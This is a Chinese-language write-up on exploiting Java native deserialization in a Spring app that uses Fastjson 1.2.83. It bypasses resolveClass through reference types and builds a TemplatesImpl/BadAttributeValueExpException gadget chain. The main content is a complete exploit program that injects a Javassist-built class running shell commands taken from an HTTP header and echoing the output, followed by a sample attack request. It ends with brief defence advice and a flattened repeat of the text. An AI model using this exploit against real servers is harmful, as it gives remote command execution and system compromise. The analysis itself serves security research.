分析探究Java原生链反序列化绕过高版本fastjson打Spring马
字数 857 2025-08-22 18:37:14

Fastjson 1.2.83 反序列化漏洞分析与利用

漏洞概述

本文详细分析Fastjson 1.2.83版本中存在的反序列化漏洞,探讨如何绕过SecureObjectInputStream的resolveClass检查,并构建有效的利用链实现Spring环境下的命令执行与回显。

漏洞代码分析

漏洞存在于ReadController类的getUser方法中:

@Controller
public class ReadController {
    @RequestMapping({"/read"})
    @ResponseBody
    public String getUser(String data) throws Exception {
        byte[] b = Base64.getDecoder().decode(data);
        InputStream inputStream = new ByteArrayInputStream(b);
        Object obj = new ObjectInputStream(inputStream).readObject();
        
        JSONArray dataArray = new JSONArray();
        JSONObject item = new JSONObject();
        item.put("code", 200);
        item.put("status", "success");
        item.put("obj", JSON.toJSONString(obj));
        dataArray.add(item);
        return dataArray.toJSONString();
    }
}

关键问题点:

  1. 直接反序列化用户输入的Base64数据
  2. 使用ObjectInputStream进行原生反序列化
  3. 将反序列化结果通过Fastjson转换为JSON字符串

依赖环境

<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.83</version>
    </dependency>
</dependencies>

Fastjson高版本安全机制

从Fastjson 1.2.49开始:

  1. JSONArray和JSONObject实现了自己的readObject方法
  2. SecureObjectInputStream类重写了resolveClass方法
  3. 通过checkAutoType方法进行类安全检查

绕过resolveClass的方法

研究发现某些类型不会调用resolveClass方法:

  • NULL
  • REFERENCE(引用类型)
  • STRING
  • LONGSTRING
  • EXCEPTION

其中可利用的是REFERENCE引用类型。通过向List、Set、Map类型中多次添加同一对象可以构造引用类型:

ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);

利用原理:两次readObject方法调用可以绕过resolveClass检测

利用链构建

完整的利用链:

BadAttributeValueExpException#readObject -> 
JSONArray#toString -> 
JSONArray#toJSONString -> 
getter方法调用

回显马构造

由于环境不出网且无回显,需要使用Javassist动态生成恶意类,并通过HTTP Header传参实现命令回显。

Javassist动态类生成

ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("A");

// 移除默认构造函数
if ((clazz.getDeclaredConstructors()).length != 0) {
    clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}

// 添加恶意构造函数
clazz.addConstructor(CtNewConstructor.make(
    "public B() throws Exception {\n" +
    "    org.springframework.web.context.request.RequestAttributes requestAttributes = \n" +
    "        org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
    "    javax.servlet.http.HttpServletRequest httprequest = \n" +
    "        ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
    "    javax.servlet.http.HttpServletResponse httpresponse = \n" +
    "        ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
    "    String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
    "    byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream())\n" +
    "        .useDelimiter(\"\\\\A\").next().getBytes();\n" +
    "    httpresponse.getWriter().write(new String(result));\n" +
    "    httpresponse.getWriter().flush();\n" +
    "    httpresponse.getWriter().close();\n" +
    "}", clazz));

// 设置Java版本兼容性
clazz.getClassFile().setMajorVersion(50);

// 设置父类
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);

完整EXP代码

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class EXP2 {
    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static CtClass genPayload() throws NotFoundException, CannotCompileException, IOException {
        ClassPool classPool = ClassPool.getDefault();
        CtClass clazz = classPool.makeClass("A");
        
        if ((clazz.getDeclaredConstructors()).length != 0) {
            clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
        }
        
        clazz.addConstructor(CtNewConstructor.make(
            "public B() throws Exception {\n" +
            "    org.springframework.web.context.request.RequestAttributes requestAttributes = \n" +
            "        org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
            "    javax.servlet.http.HttpServletRequest httprequest = \n" +
            "        ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
            "    javax.servlet.http.HttpServletResponse httpresponse = \n" +
            "        ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
            "    String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
            "    byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream())\n" +
            "        .useDelimiter(\"\\\\A\").next().getBytes();\n" +
            "    httpresponse.getWriter().write(new String(result));\n" +
            "    httpresponse.getWriter().flush();\n" +
            "    httpresponse.getWriter().close();\n" +
            "}", clazz));
        
        clazz.getClassFile().setMajorVersion(50);
        CtClass superClass = classPool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        return clazz;
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", new byte[][]{genPayload().toBytecode()});
        setValue(templates, "_name", "xxx");
        setValue(templates, "_tfactory", null);
        
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);
        
        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        setValue(bd, "val", jsonArray);
        
        HashMap hashMap = new HashMap();
        hashMap.put(templates, bd);
        
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);
        
        byte[] bytes = byteArrayOutputStream.toByteArray();
        System.out.println(Base64.getEncoder().encodeToString(bytes));
    }
}

利用方式

  1. 使用EXP2生成恶意序列化数据
  2. 将生成的Base64编码数据作为参数传递给/read接口
  3. 在HTTP请求头中添加"C"字段,值为要执行的命令

示例:

GET /read?data=<生成的Base64数据> HTTP/1.1
Host: target.com
C: whoami

防御建议

  1. 避免直接反序列化不可信数据
  2. 升级到Fastjson最新版本
  3. 使用白名单机制限制反序列化的类
  4. 使用安全的JSON解析方式替代原生反序列化
Fastjson 1.2.83 反序列化漏洞分析与利用 漏洞概述 本文详细分析Fastjson 1.2.83版本中存在的反序列化漏洞,探讨如何绕过SecureObjectInputStream的resolveClass检查,并构建有效的利用链实现Spring环境下的命令执行与回显。 漏洞代码分析 漏洞存在于ReadController类的getUser方法中: 关键问题点: 直接反序列化用户输入的Base64数据 使用ObjectInputStream进行原生反序列化 将反序列化结果通过Fastjson转换为JSON字符串 依赖环境 Fastjson高版本安全机制 从Fastjson 1.2.49开始: JSONArray和JSONObject实现了自己的readObject方法 SecureObjectInputStream类重写了resolveClass方法 通过checkAutoType方法进行类安全检查 绕过resolveClass的方法 研究发现某些类型不会调用resolveClass方法: NULL REFERENCE(引用类型) STRING LONGSTRING EXCEPTION 其中可利用的是REFERENCE引用类型。通过向List、Set、Map类型中多次添加同一对象可以构造引用类型: 利用原理:两次readObject方法调用可以绕过resolveClass检测 利用链构建 完整的利用链: 回显马构造 由于环境不出网且无回显,需要使用Javassist动态生成恶意类,并通过HTTP Header传参实现命令回显。 Javassist动态类生成 完整EXP代码 利用方式 使用EXP2生成恶意序列化数据 将生成的Base64编码数据作为参数传递给/read接口 在HTTP请求头中添加"C"字段,值为要执行的命令 示例: 防御建议 避免直接反序列化不可信数据 升级到Fastjson最新版本 使用白名单机制限制反序列化的类 使用安全的JSON解析方式替代原生反序列化